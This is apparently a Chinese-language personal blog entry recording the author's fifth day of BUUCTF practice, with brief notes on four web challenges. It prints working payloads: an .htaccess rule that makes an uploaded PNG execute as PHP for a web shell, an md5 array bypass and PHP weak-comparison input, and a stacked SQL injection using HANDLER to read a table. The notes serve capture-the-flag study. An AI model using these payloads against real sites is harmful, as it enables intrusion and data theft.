BUUctf刷题第五天

每天坚持，绝对不能给自己找借口
加油！

[网鼎杯 2018]Fakebook

这题有一点ssrf，明天再看

[MRCTF2020]你传你🐎呢

.htaccess的文件上传
和上传.user.ini方式差不多
.htaceess的内容为

<FilesMatch "a.png">
SetHandler application/x-httpd-php
</FilesMatch>

解析一个a.png，当做php解析
再上传a.png即可

地址也给了蚁剑直接连
收工

[MRCTF2020]Ez_bypass

这道题就更简单了
首先绕过md5等于md5,参数还得不相同
用数组绕过，md5解析不了数组
false=false&id[]=1!=gg[]=2
大概就是这个意思
然后让passwd不等于数字还得等于1234567
用php弱比较1234567a即可
payload:
get:?id[]=1&gg[]=2
post:passwd=1234567a
flag就出来了

[GYCTF2020]Blacklist

是个sql注入，好像是堆叠注入

首先1’;show tables #

有过滤，老方法用不了了
这里我们用到handler这个东西
HANDLER … OPEN语句打开一个表，使其可以使用后续HANDLER … READ语句访问，该表对象未被其他会话共享，并且在会话调用HANDLER … CLOSE或会话终止之前不会关闭
payload:

1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;#

大概懂这个意思了，我觉得能想出来这个的，真的nb